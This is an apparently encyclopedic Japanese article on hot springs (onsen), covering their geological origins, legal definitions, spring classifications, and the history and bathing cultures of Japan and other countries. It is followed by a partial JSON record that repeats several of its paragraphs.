地熱で温められた地下水が自然に湧出するものと、ボーリングによって人工的に湧出あるいは揚湯されるもの(たとえ造成温泉でも)どちらも、温泉法に合致すれば温泉である。温泉を熱源で分類すると、火山の地下のマグマを熱源とする火山性温泉と、火山とは無関係の非火山性温泉に分けられる。非火山性温泉はさらに、地下深くほど温度が高くなる地温勾配に従って高温となったいわゆる深層熱水と、熱源不明のものに分けられる。また特殊な例として、古代に堆積した植物が亜炭に変化する際の熱によって温泉となったモール泉が北海道の十勝川温泉などに存在する。
火山性温泉は当然ながら火山の近くにあり、火山ガス起源の成分を含んでいる。深層熱水は平野や盆地の地下深部にあってボーリングによって取り出されることが多く、海水由来の塩分や有機物を含むことがある。
非火山性温泉の中には通常の地温勾配では説明できない高温のものがあり(有馬温泉、湯の峰温泉、松之山温泉など)、その熱や成分の起源についていくつかの説が提案されているが、いずれも仮説の段階である。
飛越地震後に新たに泉温70度の温泉が噴き出した立山の新湯や東日本大震災後に泉温が上昇した割石温泉など地震による温泉の変動が見られることがある。
日本では温泉は温泉法と環境省の鉱泉分析法指針で定義されている。
温泉には以下の要素がある。
日本では、1948年(昭和23年)7月10日に温泉法が制定された。この温泉法第2条(定義)によると、温泉とは、以下のうち一つ以上が満たされる「地中からゆう出する温水、鉱水及び水蒸気その他のガス(炭化水素を主成分とする天然ガスを除く。)」と定義されている(法的な定義による広義の温泉)。
環境省の定める鉱泉分析法指針では「常水」と「鉱水」を区別する。湧出時の温度が摂氏25度以上であるか、または指定成分が一定の値以上である場合、これを「鉱水」と分類する(「鉱泉」および「泉質」も参照)。
鉱泉分析法指針では、治療の目的に供しうる鉱泉を特に療養泉と定義し、特定された八つの物質について更に規定している。
泉源の温度が摂氏25度以上であるか、温泉1kg中に以下のいずれかの成分が規定以上含まれているかすると、鉱泉分析法指針における療養泉を名乗ることができる。
さらに療養泉は溶存物質の成分と量により以下のように分類される。
療養泉はその含有成分によって分類がなされる。またその名称も掲示用泉質名、旧泉質名、新泉質名など3種類存在する。以下は掲示用泉質名の分類である。温泉の種類は「泉質」も参照のこと。なお、各泉質に記載の効能はあくまで目安で、効果を万人に保証するものではないことに注意する必要がある。
特殊成分を一定の値以上に含むもの。温度は不問。
温泉法で定められた温泉の定義には当てはまるが、上記11種の分類に収まらない温泉(鉱泉)も有る。具体的には、湧出温度25°C未満であり、含有成分が1,000mg/kg以上含んでいる、またはメタケイ酸・メタほう酸などは規定量以上含んでいるが、療養泉の指定成分を規定量以上含まない温泉である。これらは泉質分類ができず便宜上の通称として“温泉法上の温泉”、“含フッ素泉”、“メタほう酸泉”、“メタケイ酸泉”、“単純泉”、“冷鉱泉”などとその特性に応じて名づけられる。正式な適応症の掲示はできないが、加温して温浴する場合は一般的適応症と同様の効能が期待できる。
一旦浴槽に注いだ湯を再注入するか否かで循環式と掛け流しに分類される。循環式においては、一度利用した湯を濾過・加熱処理をした上で再注入している。近年掛け流しを好む利用者の嗜好により、「源泉かけ流し」等のキャッチコピーで宣伝しているところもある。
一般的な大浴場や一人~少人数向け湯船・浴槽、露天風呂以外に多様な入浴やそれに近い温泉の利用法がある。
家庭などでも温泉水を楽しめるようにと、温泉水を濃縮したものが各社より販売されており、浴槽の湯に濃縮温泉水を適量混ぜて入浴する。濃縮温泉水の製造には、蒸発・超音波霧化分離を利用した装置がある。
湯を使う風呂が一般的でなく、衛生に関する知識や医療が不十分であった時代には、温泉は怪我や病気に驚くべき効能がある、ありがたい聖地であった。各温泉の起源伝説には、鹿や鶴や鷺(サギ)などの動物が傷を癒した伝説や、施浴などを通して入浴を奨励する仏教の影響で弘法大師等高名な僧侶が発見した伝説が多い。このような場所は寺や神社が所有していたり、近隣共同体の共有財産であったりした。
明治時代になると温泉の科学的研究も次第に盛んになった。昭和以降は温泉医学及び分析化学の進歩によって温泉の持つ医療効果が実証され、温泉の利用者も広範囲に渡った。
1931年(昭和6年)、九州大学が豊富な温泉資源に恵まれた別府温泉に温泉治療学研究所を設置したのをはじめ、温泉療法の研究が国立6大学に広がり盛んになった。1935年(昭和10年)には日本温泉気候学会が設立され、温泉気候およびその医学的応用に関する学術的研究が進む。日本温泉気候学会から改称された日本温泉気候物理医学会は、温泉療法医・温泉療法専門医の認定を行っている。三朝温泉ではラジウムの効能に目を付けて1939年(昭和14年)に温泉療養所が設けられるなど、温泉と近代医学を結びつける温泉療法の研究が行われてきた。また太平洋戦争後は原子爆弾被爆者別府温泉療養研究所が開設され、被爆者援護においても温泉療法の研究が行われた。
昭和29年に、厚生省が温泉で良い影響を与える一般的適応症、逆に身体に悪い影響を与える禁忌症、入浴又は飲用上の注意を策定した。
日本の環境省は、温泉法第18条などで、温泉の効用に当たる「適応症」と、逆に温泉に入ることで病状が悪化する可能性のある「禁忌症」を定めている。かつて妊娠中の女性が温泉に入ると、流産や早産を招くという意見があったが、科学的根拠は無く、妊婦が温泉に入っても健康上の問題はないとされる。
環境省によると、日本には2016年度時点で3038の温泉地(源泉数は2万7422)がある。温泉はヨーロッパでは医療行為の一環として位置付けられる側面が強いが、日本では観光を兼ねた娯楽である場合が多い。学校の合宿、修学旅行に取り入れる例も多い。もちろん、湯治に訪れる客も依然として存在する。
日本は火山が多いために火山性の温泉が多く、温泉地にまつわる神話や開湯伝説の類も非常に多い。神話の多くは、温泉の神とされる大国主命と少彦名命にまつわるものである。例えば日本三古湯の一つ道後温泉について、『伊予国風土記』逸文には、大国主命が鶴見岳(現在の大分県別府市)の山麓から湧く「速見の湯」(現在の別府温泉)を海底に管を通して道後温泉へと導き、少彦名命の病を癒したという神話が記載されている。
また、発見の古い温泉ではその利用の歴史もかなり古くから文献に残されている。文献としては『日本書紀』『続日本紀』『万葉集』『拾遺集』などに禊の神事や天皇の温泉行幸などで使用されたとして玉造温泉、有馬温泉、道後温泉、白浜温泉、秋保温泉などの名が残されている。平安時代の『延喜式神名帳』には、温泉の神を祀る温泉神社等の社名が数社記載されている。日本の温泉旅館のうち、「慶雲館」(西山温泉)、「千年の湯 古まん」(城崎温泉)、「法師」(粟津温泉)はいずれも飛鳥時代創業とされており、宿泊施設として世界でも現存最古級である。
考古学の観点からは、塩を含む温泉に、塩分を求めて草食動物が集まり、その動物たちを狩る人間が温泉の周りに集まり、人の営みが生まれ、温泉に親しむ日本の文化が生まれたのではという推察がある。
六国史に見える温泉の記述
鎌倉時代以降になると、それまで漠然として信仰の存在となっていた温泉に対し、医学的な活用が増え、実用的、実益的なものになった。一遍らの僧侶の行う施浴などによって入浴が一般化した。鎌倉中期の別府温泉には大友頼泰によって温泉奉行が置かれ、元寇の戦傷者が保養に来た記録が残っている。さらに戦国時代の武田信玄や上杉謙信は特に温泉の効能に目を付けていたといわれる。
江戸時代頃になると、農閑期に湯治客が訪れるようになり、それらの湯治客を泊める宿泊施設が温泉宿となった。湯治の形態も長期滞在型から一泊二日の短期型へ変化し、現在の入浴形態に近い形が出来上がった。
貝原益軒、後藤艮山、宇田川榕庵らにより温泉療法に関する著書や温泉図鑑といった案内図が刊行されるなどして、温泉は一般庶民にも親しまれるようになった。この時代は一般庶民が入浴する雑湯と幕吏、代官、藩主が入浴する殿様湯、かぎ湯が区別され、それぞれ「町人湯」「さむらい湯」などと呼ばれていた。各藩では湯役所を作り、湯奉行、湯別当などを置き、湯税を司った。
一般庶民の風習としては正月の湯、寒湯治、花湯治、秋湯治など季節湯治を主とし、比較的決まった温泉地に毎年赴き、疲労回復と健康促進を図った。また、現代も残る「湯治風俗」が生まれたのも江戸時代で、砂湯、打たせ湯、蒸し湯、合せ湯など、いずれもそれぞれの温泉の特性を生かした湯治風俗が生まれた。
そして上総掘りというボーリング技術による源泉の掘削「湯突き」が19世紀末にかけて爆発的に普及した事で、明治以降には温泉資源を潤沢に利用出来るようになった。日本の温泉源泉総数のうちおよそ1/10を抱える大分県別府市では、1879年(明治12年)頃にこの技術が導入されて温泉掘削が盛んとなり、発展した。
1929年(昭和4年)から翌年にかけて国民新聞主催で「全国温泉十六佳選」という読者投票イベントが実施され、各地の温泉に関心が注がれた。
箱根温泉(神奈川県足柄下郡箱根町)や熱海温泉(静岡県熱海市)のように交通が便利な地域に形成された大規模な温泉街もあれば、交通の便が悪い山奥などにあるものの泉質や閑静な雰囲気などを求める秘湯めぐりというジャンルもある。
1950年代には、温泉地に向かう鉄道の臨時電車も設定されるなど、戦後の混乱から徐々に脱却し、温泉地に向かう余裕のある客も増えてきたが、さすがに年末年始の時期に温泉に向かう客は少なく、週末に東京から伊豆方面へ温泉客を運んでいた臨時電車「いこい」「いでゆ」(現在の特急踊り子号の前身)が運休する年もあった。
バブル期のリゾートマンションには、天然温泉付きというものもあった(そういった名称ではないものの1960年前後に既に存在したという説もある)。
1997年の多摩テック「クア・ガーデン」(既に閉園)を先駆けとし、テーマパーク(遊園地)に天然温泉施設を併設する動きが2000年代初頭に相次いだ。
火山性温泉の周辺には、火山活動に伴う地形や現象などが観光資源になっている例もある(大涌谷や各地の地獄谷など)。成分や湯温などが入浴に適さないなどの理由で、観光客が見て楽しむ熱水泉もあり、別府地獄めぐりや世界各地にある間欠泉が有名である。
地獄谷温泉 (長野県)は人間が泊まる温泉宿以外に、ニホンザルが露天風呂につかる地獄谷野猿公苑があることで日本国外にも知られている。
温泉に含まれる成分が析出・沈殿したものを「湯の花」と呼ぶ。採取して入浴剤などとして販売している温泉地もある。明礬温泉(別府市)の「湯の花小屋」における湯の花からの明礬製造技術は国の重要無形民俗文化財に指定されている。
大塩裏磐梯温泉(福島県)では、濃い食塩泉を煮詰めて製塩(山塩)が行われている。
温泉の熱を、アンモニアやフロンなどの水よりも沸点が低いものに与えることで蒸気を発生させ、その蒸気圧によってタービンを回すことで電力を発生させるバイナリー発電が行われている。従来の地熱発電と比べ、開発コストが低い、温泉枯渇のリスクが低い、というメリットがある。長崎県雲仙市や大分県別府市などで運用されている。
土湯温泉(福島県)では温泉熱をテナガエビ養殖に、草津温泉(群馬県)では水道水の加温や暖房、道路の融雪に利用している。
世界的に温泉の利用形態は大きく分けて、入浴して体を休める(日本ではこれが主流)、入浴して療養する、入浴して楽しむ(泳ぐなど)、そして飲む(飲泉)、蒸気を利用する(サウナや蒸し風呂)に大別される。入浴して体を休めるのは湿潤な気候を反映した日本独自の文化(例外的にアジアの一部で日本的な入浴が広まっている)であり、世界的には楽しむ、療養する、あるいは飲むもの、蒸すものとして認識されている。だが、今日の日本文化のブームやonsen文化の浸透(後述)によって、日本式の入浴が世界中で拡がっている部分も見られる。
歴史的にみると、温泉は紀元前3000-4000年代にはエジプトで利用されており、エトルリア人は源泉周辺に温泉施設を建設し、鉱泉を調査・管理する制度も持っていた。古代ギリシャ時代にはすでに病気治療のための温泉利用が確立し、温泉の効能の神秘的な力から信仰と結びついて、巡礼と治療の場として発達した。古代ローマ時代には、ホテルと温泉を結びつけた保養施設の建設がさらに進められ、富裕層向けの豪華なリゾート的施設から庶民的なものまで幅広く造られた。温泉町には遊興施設が出現し、娯楽と享楽の場として栄えたが、ローマ帝国の衰退とともに寂れていった。
キリスト教は初期においてローマ的な温泉信仰を根絶するために温泉施設を取り壊し、代わりに教会などのキリスト教施設を建設し、裸体で浴槽に入るのは肉欲にも繋がるとして否定的な態度を取っていた。13世頃になると十字軍により伝えられた東方の浴場情報から温泉の医学的利用が再び始まり、15世紀には共同体が温泉管理に力を入れたことで温泉地は活況を取り戻した。19世紀後半には温泉療養リゾート熱が再燃し、温泉町にカジノや別荘が盛んに建設されるようになり、現在に至っている。
ヨーロッパの温泉地としては、チェコのカルロヴィ・ヴァリ、イギリスのバース、ベルギーのスパ、ハンガリーのブダペスト、ドイツのバーデン=バーデンなどが有名である。詳細は後述の項目を参照。
日光浴や空気浴を加えた保養地として発達してきた。現在でも、鉱泉水を飲んだり、決められた時間だけ湯につかり、シャワーを浴びながらマッサージを受けたりすることは医療行為として認められている。
日本の温泉が入浴本位で発展したのに対し、現在のヨーロッパでは特に「温泉を飲む」、すなわち飲泉が温泉文化として深く根付いている。カルルス温泉の由来にもなった有名なカルルスバードなどは飲泉のための温泉地である。
15世紀までは入浴が主であったが、火山帯が少ないため湯量が少なく、また泉温が低かったため、温泉地は発展しなかった。また、風紀の乱れや梅毒やペストなどの伝染病蔓延や宗教的理由による社会背景などにより入浴が身体を害するものとみなされ、入浴という習慣が敬遠されていった(詳しくは「入浴」の項を参照)。一方、ヨーロッパでは飲用水の質が悪く、そのため一部の入浴客は温泉水を飲用していた。これに目を付けた温泉地は瓶詰めにして売り出したところ、大変な評判を呼び、以後は“温泉は飲むもの”、すなわち飲泉が文化として根付いた。有名なエビアンやヴィシーなども温泉水である。なお、日本においても「ウィルキンソン」「ジンジャーエール」など一部の炭酸飲料は初期に炭酸泉水を原料としていた。
またこれにより、温泉水を直に飲用したことで医療効果が鮮明であったことから、飲泉と医学がすぐに結びついた。これは日本の温泉が、流入した西洋医学の崇拝が妨げとなって、しばらく温泉療法が民間療法と見做されて研究が遅れたのとは対称的である(尤も、陸海軍の大規模な傷病者施設のあった別府や、三朝など一部の温泉では温泉病院が設けられたり近隣の大学と結びつき、営々と研究も行われていた)。
今日温泉町として知られるバースやカルルスバートなどは保養地としても発展し、温泉病院や老後施設なども完備する。温泉による保養という点では日本と同じである。また、ホテルやレストランも建てられているが、中に入浴用の温泉は存在せず(ヨーロッパ、特に西欧や東欧は日本ほど湿潤でないことも入浴文化が発展しなかった大きな理由である)、代わりに飲泉場や飲泉バーが設けられている。
対してバーデンバーデンやスパなどのように入浴用として形成された温泉地も少数ながら存在する。しかし、いずれも日本の温泉のように「浸かる」という概念が存在しない。ドイツのバーデンバーデンは温泉としてより、むしろ付随するカジノやブティック、宝石店や高級ホテルなどによるリゾート地として発展した。温泉はサウナやシャワーなどにも利用されるほか、共同浴場が設けられており、温泉水の大浴槽でプール感覚と同様に泳ぐ者も多い(日本ではマナー違反とされる)。また、日本のように裸で入浴するという習慣はなく、水着を着用する。そのために、男湯や女湯と隔てることもない場合が多く、日本の温水プールのような具合で湯に親しむ場所となっている。このような例は後述するニュージーランドの例がある。
また、国際的な温泉地の固定名称にもなったベルギーのスパは療養向けに発展した温泉地である。温泉街の規模が小さく、ホテルの個室内に療養用のバスタブが設けられており、日本の湯治向け温泉に雰囲気が似ている。だが、湯船に入るのは専ら療養目的であるので、日本のように“ゆったり浸って疲れを癒す”という概念は存在しない。
ハンガリーでは古代ローマ時代から公衆浴場が建設され、2000年近くに渡る温泉文化を持っている。ブダペストはチェスができる混浴(水着着用)のセーチェーニ温泉などの温泉が100箇所以上ある。また、温水湖であるヘーヴィーズ湖も存在する。
歴史的には、ヨーロッパの温泉はローマ帝国滅亡後いったん廃れるが、15世紀ころに活況を取り戻す。当時はドイツとイタリアの温泉が好まれたが、ヨーロッパの貴族や王族の社交場だったスイスのバーデンがもっとも人気の温泉地だった。16世紀には上流階級の温泉町逗留が始まり、ヨーロッパ各地に点在する温泉巡りも盛んになっていった。
ローマ帝国の支配により各地に温泉施設が造られた。地名にレ・バンと付く所は古くから発達した温泉地である。アンリ4世時代の1605年には温泉鉱泉監督官制度が始まっており、これがフランスにおける国家による最初の温泉政策となった。総監督には王の主治医が就き、弟子たちに各地の温泉を管理させた。貴族や王族による湯治が盛んになる一方、各温泉地には貧窮者用の無料の温泉療養設備も造られた。温泉地は1650年には60か所、1785年には100か所あり、源泉の数は1,000以上にのぼった。このうちいくつかの温泉地では君主や王族、あるいは有名人が訪れることで名声が高まり、それにともなって温泉地の整備も進んでいった。次第に療養者の数は増えていき、18世紀後半になるとホテルなど宿泊施設や病院が温泉地に建設されるようになった。1772年には王立医学委員会(のちの王立医学アカデミー)が設立され、温泉の総合的な調査と管理統制が行なわれた。
フランス革命後は、王政時代の監督官制度に代わって、温泉監督医制度が始まり、19世紀には保養と社交を兼ねた温泉地滞在が盛んになり、温泉地のリゾート化が進んだ。1806年には温泉地のギャンブルが正式に許可されてカジノが登場した。産業革命により、交通や温泉町の整備が進み、富裕層も増加したことから、19世紀後半には、大規模ホテルの建設、温泉ガイドの出版、温泉医の乱立、温泉開発投資ブーム、温泉地と組んだ広告宣伝の活発化など、温泉の観光化が急激に進んだ。また皇族の温泉地滞在も非常に盛んになり、温泉外交も頻繁に行なわれた。20世紀初頭には、公認源泉は約1,400、温泉リゾート地は130を数え、カジノやミネラル・ウォーターの販売は温泉地の大きな収入源となった。第二次大戦以降は、温泉療養が社会保障に組み込まれたことで、一気に大衆化した。
2000年代の資料では、公認源泉は約1,200、温泉地は約100か所ある。源泉は山岳地帯にあるため、主にピレネー、オーヴェルニュ、アルプス、ヴォージュなどに集中する。温泉地としては、エクス=レ=バン、エヴィアン=レ=バン、ダクス、ヴィシー、ヴィッテルといった有名地をはじめ、バニェール・ド・ビゴール、コートゥレ、リュション、アクス・レ・テルム、ル・モン・ドール、ラ・ブルブール、ロワイヤ、シャテル=ギヨン、ネリス、プーグ・レ・バン、ディヴォーヌ、ユリナージュ、ブルボーヌ・レ・バン、プロンビエール・レ・バン、リュクスイユ、コントレクセヴィル、サラン・デュ・ジュラ、バニョール・ド・ロルヌ、フォルジュ・レゾー、サンタマン・レゾー、バラリュック、ラマル、エクサン・プロヴァンス、グレウーなど多数ある。
ジョージアの首都・トビリシのアバノツバニ(ジョージア語で湯治街の意味)は有名な温泉街であり、トビリシの名前の由来となった。1829年にはロシアの詩人であるアレクサンドル・プーシキンもアバノツバニのオルベリアニ浴場 (Orbeliani Baths) を訪れている。
アメリカ大陸には日本ほどではないが、アラスカ山脈やロッキー山脈など、一部の火山帯を中心に自然の温泉が点在する。その中でも特に著名なのはワイオミング州北西部(一部モンタナ州・アイダホ州にもまたがる)のイエローストーン国立公園で、園内には多数の温泉(源泉)や間欠泉が点在している。しかし、カリフォルニア州カリストガのように観光地化されている温泉地や、コロラド州グレンウッドスプリングスのように温泉水をプールとして利用しているといった、ごく一部の例外を除けば、ほとんどが大自然の露天風呂であり、開発はさほど進んでいない。
アメリカ合衆国において、温泉地として開発された最も有名な例としてはアーカンソー州ホットスプリングス市が挙げられる。同地の温泉は、1541年にスペイン人探検家エルナンド・デ・ソトが、原住民が古くから使用していた温泉を発見したのが始まりとされている。ここは湯量が豊富であり、合衆国の中では比較的湿度が高い地域ではあるが、西ヨーロッパと同様、基本的に「湯につかる」という習慣が無かったため、あくまで医療・療養目的として使用されるにとどまっており、市内に点在していたカジノやブティックなどのリゾート施設がリゾート地としての発展を後押しすることになった。また、療養温泉地としての性質から、第二次世界大戦時中には傷病者の治療・保健施設も設けられた。今日では年間300万人が訪れる全米随一の温泉リゾートとなっている。
東部においては、アパラチア山脈沿いに温泉地が点在している。東部は合衆国の中でも最も早くからヨーロッパ人の入植が進んだ土地であるだけに、ジョージ・ワシントンゆかりの温泉地であるウェストバージニア州のバークレースプリングスや、トーマス・ジェファーソンが訪れ、通ったとされるバージニア州のジェファーソン・プールズ、その近隣に立地し、多数の著名人が訪れた高級リゾートのホームステッドなど、長い歴史を持つ温泉地もある。
韓国および北朝鮮では日本に似た“浸かる”温泉文化が根付いており、日韓併合に伴い、日本人が朝鮮半島で温泉開発を行ったことに因るものである。いずれも火山が少ないが、高温が噴出する温泉が多く存在する。しかし、日本とは文化的な相違があり、初めて訪れる日本人はカルチャーショックを受けることがある(たとえば、入浴の際に何も持たない)。また、汗蒸と呼ばれる伝統的な蒸し風呂がある。
台湾における温泉の歴史の始まりは、北投で1894年にドイツ人のウォーリー(Quely)が温泉を発見したことだとされる。1896年には、その北投温泉に大阪出身の平田源吾が「天狗庵」と言う旅館を建設し、周辺にも陸軍の保養所などが建設される。これらは記録に残ったものであるが、温泉の効能が書かれた説明などには、知本温泉のように台湾の先住民が利用したと言う記述や伝聞も残されている。屏東県車城郷の四重渓温泉には、高松宮が夫婦で利用した浴槽が現在でも残されている。日本の統治時代に警察の保養所として建設された温泉旅館が、蔣介石の時代には「警光山荘」として台湾の警察に利用され、現在では一般人も利用できるようになっている。台湾の温泉は水着着用で利用するのが一般的だが、日本式の温泉を表す「日式」と書かれた温泉では、日本の温泉のように何も身に付けずに利用することを表す。一部の温泉では温泉卵を茹でる場所も用意されている。
オセアニアで有名な温泉大国はニュージーランドで、国内には火山が多いために、温泉地も数多く存在する。原住民のマオリの人々も温泉の効能を知っており、温泉を療養に用いていたという。しかし、20世紀前半に国を挙げて豊富な温泉水に目を向け、滞在型の温泉リゾートを開発しようとしたが、日本ほど湿潤な気候でないことと、入植した白人には入浴という習慣が根付いていなかったため、さほど進展しなかった。今日、ニュージーランドの温泉はスポーツやエクササイズといった健康面で結びつき、あくまでスポーツやアウトドア後に汗を流すための保養施設として発展している。また、温泉水を利用した温泉プールは非常に人気があり、温泉地の主力施設となっている。
地図記号としての「温泉記号」については、「温泉マーク」の項目を参照のこと。
文字としての温泉マークは、「♨」。温泉マークの文字参照による表記方法は、♨(♨)である。 | [
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"text": "環境省の定める鉱泉分析法指針では「常水」と「鉱水」を区別する。湧出時の温度が摂氏25度以上であるか、または指定成分が一定の値以上である場合、これを「鉱水」と分類する(「鉱泉」および「泉質」も参照)。",
"title": "温泉の定義"
},
{
"paragraph_id": 12,
"tag": "p",
"text": "鉱泉分析法指針では、治療の目的に供しうる鉱泉を特に療養泉と定義し、特定された八つの物質について更に規定している。",
"title": "温泉の定義"
},
{
"paragraph_id": 13,
"tag": "p",
"text": "泉源の温度が摂氏25度以上であるか、温泉1kg中に以下のいずれかの成分が規定以上含まれているかすると、鉱泉分析法指針における療養泉を名乗ることができる。",
"title": "温泉の定義"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "さらに療養泉は溶存物質の成分と量により以下のように分類される。",
"title": "温泉の定義"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "療養泉はその含有成分によって分類がなされる。またその名称も掲示用泉質名、旧泉質名、新泉質名など3種類存在する。以下は掲示用泉質名の分類である。温泉の種類は「泉質」も参照のこと。なお、各泉質に記載の効能はあくまで目安で、効果を万人に保証するものではないことに注意する必要がある。",
"title": "温泉の種類"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "特殊成分を一定の値以上に含むもの。温度は不問。",
"title": "温泉の種類"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "温泉法で定められた温泉の定義には当てはまるが、上記11種の分類に収まらない温泉(鉱泉)も有る。具体的には、湧出温度25°C未満であり、含有成分が1,000mg/kg以上含んでいる、またはメタケイ酸・メタほう酸などは規定量以上含んでいるが、療養泉の指定成分を規定量以上含まない温泉である。これらは泉質分類ができず便宜上の通称として“温泉法上の温泉”、“含フッ素泉”、“メタほう酸泉”、“メタケイ酸泉”、“単純泉”、“冷鉱泉”などとその特性に応じて名づけられる。正式な適応症の掲示はできないが、加温して温浴する場合は一般的適応症と同様の効能が期待できる。",
"title": "温泉の種類"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "一旦浴槽に注いだ湯を再注入するか否かで循環式と掛け流しに分類される。循環式においては、一度利用した湯を濾過・加熱処理をした上で再注入している。近年掛け流しを好む利用者の嗜好により、「源泉かけ流し」等のキャッチコピーで宣伝しているところもある。",
"title": "提供形態"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "一般的な大浴場や一人~少人数向け湯船・浴槽、露天風呂以外に多様な入浴やそれに近い温泉の利用法がある。",
"title": "提供形態"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "家庭などでも温泉水を楽しめるようにと、温泉水を濃縮したものが各社より販売されており、浴槽の湯に濃縮温泉水を適量混ぜて入浴する。濃縮温泉水の製造には、蒸発・超音波霧化分離を利用した装置がある。",
"title": "提供形態"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "湯を使う風呂が一般的でなく、衛生に関する知識や医療が不十分であった時代には、温泉は怪我や病気に驚くべき効能がある、ありがたい聖地であった。各温泉の起源伝説には、鹿や鶴や鷺(サギ)などの動物が傷を癒した伝説や、施浴などを通して入浴を奨励する仏教の影響で弘法大師等高名な僧侶が発見した伝説が多い。このような場所は寺や神社が所有していたり、近隣共同体の共有財産であったりした。",
"title": "温泉と医療"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "明治時代になると温泉の科学的研究も次第に盛んになった。昭和以降は温泉医学及び分析化学の進歩によって温泉の持つ医療効果が実証され、温泉の利用者も広範囲に渡った。",
"title": "温泉と医療"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "1931年(昭和6年)、九州大学が豊富な温泉資源に恵まれた別府温泉に温泉治療学研究所を設置したのをはじめ、温泉療法の研究が国立6大学に広がり盛んになった。1935年(昭和10年)には日本温泉気候学会が設立され、温泉気候およびその医学的応用に関する学術的研究が進む。日本温泉気候学会から改称された日本温泉気候物理医学会は、温泉療法医・温泉療法専門医の認定を行っている。三朝温泉ではラジウムの効能に目を付けて1939年(昭和14年)に温泉療養所が設けられるなど、温泉と近代医学を結びつける温泉療法の研究が行われてきた。また太平洋戦争後は原子爆弾被爆者別府温泉療養研究所が開設され、被爆者援護においても温泉療法の研究が行われた。",
"title": "温泉と医療"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "昭和29年に、厚生省が温泉で良い影響を与える一般的適応症、逆に身体に悪い影響を与える禁忌症、入浴又は飲用上の注意を策定した。",
"title": "温泉と医療"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "日本の環境省は、温泉法第18条などで、温泉の効用に当たる「適応症」と、逆に温泉に入ることで病状が悪化する可能性のある「禁忌症」を定めている。かつて妊娠中の女性が温泉に入ると、流産や早産を招くという意見があったが、科学的根拠は無く、妊婦が温泉に入っても健康上の問題はないとされる。",
"title": "温泉と医療"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "環境省によると、日本には2016年度時点で3038の温泉地(源泉数は2万7422)がある。温泉はヨーロッパでは医療行為の一環として位置付けられる側面が強いが、日本では観光を兼ねた娯楽である場合が多い。学校の合宿、修学旅行に取り入れる例も多い。もちろん、湯治に訪れる客も依然として存在する。",
"title": "日本の温泉"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "日本は火山が多いために火山性の温泉が多く、温泉地にまつわる神話や開湯伝説の類も非常に多い。神話の多くは、温泉の神とされる大国主命と少彦名命にまつわるものである。例えば日本三古湯の一つ道後温泉について、『伊予国風土記』逸文には、大国主命が鶴見岳(現在の大分県別府市)の山麓から湧く「速見の湯」(現在の別府温泉)を海底に管を通して道後温泉へと導き、少彦名命の病を癒したという神話が記載されている。",
"title": "日本の温泉"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "また、発見の古い温泉ではその利用の歴史もかなり古くから文献に残されている。文献としては『日本書紀』『続日本紀』『万葉集』『拾遺集』などに禊の神事や天皇の温泉行幸などで使用されたとして玉造温泉、有馬温泉、道後温泉、白浜温泉、秋保温泉などの名が残されている。平安時代の『延喜式神名帳』には、温泉の神を祀る温泉神社等の社名が数社記載されている。日本の温泉旅館のうち、「慶雲館」(西山温泉)、「千年の湯 古まん」(城崎温泉)、「法師」(粟津温泉)はいずれも飛鳥時代創業とされており、宿泊施設として世界でも現存最古級である。",
"title": "日本の温泉"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "考古学の観点からは、塩を含む温泉に、塩分を求めて草食動物が集まり、その動物たちを狩る人間が温泉の周りに集まり、人の営みが生まれ、温泉に親しむ日本の文化が生まれたのではという推察がある。",
"title": "日本の温泉"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "六国史に見える温泉の記述",
"title": "日本の温泉"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "鎌倉時代以降になると、それまで漠然として信仰の存在となっていた温泉に対し、医学的な活用が増え、実用的、実益的なものになった。一遍らの僧侶の行う施浴などによって入浴が一般化した。鎌倉中期の別府温泉には大友頼泰によって温泉奉行が置かれ、元寇の戦傷者が保養に来た記録が残っている。さらに戦国時代の武田信玄や上杉謙信は特に温泉の効能に目を付けていたといわれる。",
"title": "日本の温泉"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "江戸時代頃になると、農閑期に湯治客が訪れるようになり、それらの湯治客を泊める宿泊施設が温泉宿となった。湯治の形態も長期滞在型から一泊二日の短期型へ変化し、現在の入浴形態に近い形が出来上がった。",
"title": "日本の温泉"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "貝原益軒、後藤艮山、宇田川榕庵らにより温泉療法に関する著書や温泉図鑑といった案内図が刊行されるなどして、温泉は一般庶民にも親しまれるようになった。この時代は一般庶民が入浴する雑湯と幕吏、代官、藩主が入浴する殿様湯、かぎ湯が区別され、それぞれ「町人湯」「さむらい湯」などと呼ばれていた。各藩では湯役所を作り、湯奉行、湯別当などを置き、湯税を司った。",
"title": "日本の温泉"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "一般庶民の風習としては正月の湯、寒湯治、花湯治、秋湯治など季節湯治を主とし、比較的決まった温泉地に毎年赴き、疲労回復と健康促進を図った。また、現代も残る「湯治風俗」が生まれたのも江戸時代で、砂湯、打たせ湯、蒸し湯、合せ湯など、いずれもそれぞれの温泉の特性を生かした湯治風俗が生まれた。",
"title": "日本の温泉"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "そして上総掘りというボーリング技術による源泉の掘削「湯突き」が19世紀末にかけて爆発的に普及した事で、明治以降には温泉資源を潤沢に利用出来るようになった。日本の温泉源泉総数のうちおよそ1/10を抱える大分県別府市では、1879年(明治12年)頃にこの技術が導入されて温泉掘削が盛んとなり、発展した。",
"title": "日本の温泉"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "1929年(昭和4年)から翌年にかけて国民新聞主催で「全国温泉十六佳選」という読者投票イベントが実施され、各地の温泉に関心が注がれた。",
"title": "日本の温泉"
},
{
"paragraph_id": 37,
"tag": "p",
